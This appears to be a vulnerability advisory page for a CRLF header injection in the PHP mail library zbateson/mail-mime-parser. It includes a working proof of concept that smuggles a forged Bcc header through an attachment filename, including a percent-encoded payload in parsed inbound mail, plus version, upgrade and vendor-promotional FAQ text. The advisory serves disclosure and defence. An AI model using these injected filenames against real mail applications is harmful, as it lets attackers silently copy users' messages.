CVE-2026-61815

zbateson/mail-mime-parser has CRLF header injection via attachment filename

Content-Disposition: attachment;
 filename="doc
Bcc: [email protected]"

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: [email protected]") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: [email protected]"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%[email protected]\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: [email protected]"
attachAndReport($fn); // => INJECTED

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required, an application that re-attaches or re-sends a parsed filename is exposed.

CVE-2026-61815 has a CVSS score of 7.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.6, 4.0.2); upgrading removes the vulnerable code path.

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Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

1. What is CVE-2026-61815? CVE-2026-61815 is a high-severity security vulnerability in zbateson/mail-mime-parser (composer), affecting versions < 3.0.6. It is fixed in 3.0.6, 4.0.2.
2. How severe is CVE-2026-61815? CVE-2026-61815 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of zbateson/mail-mime-parser are affected by CVE-2026-61815? zbateson/mail-mime-parser (composer) versions < 3.0.6 is affected.
4. Is there a fix for CVE-2026-61815? Yes. CVE-2026-61815 is fixed in 3.0.6, 4.0.2. Upgrade to this version or later.
5. Is CVE-2026-61815 exploitable, and should I be worried? Whether CVE-2026-61815 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-61815 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-61815?
   • Upgrade zbateson/mail-mime-parser to 3.0.6 or later
   • Upgrade zbateson/mail-mime-parser to 4.0.2 or later

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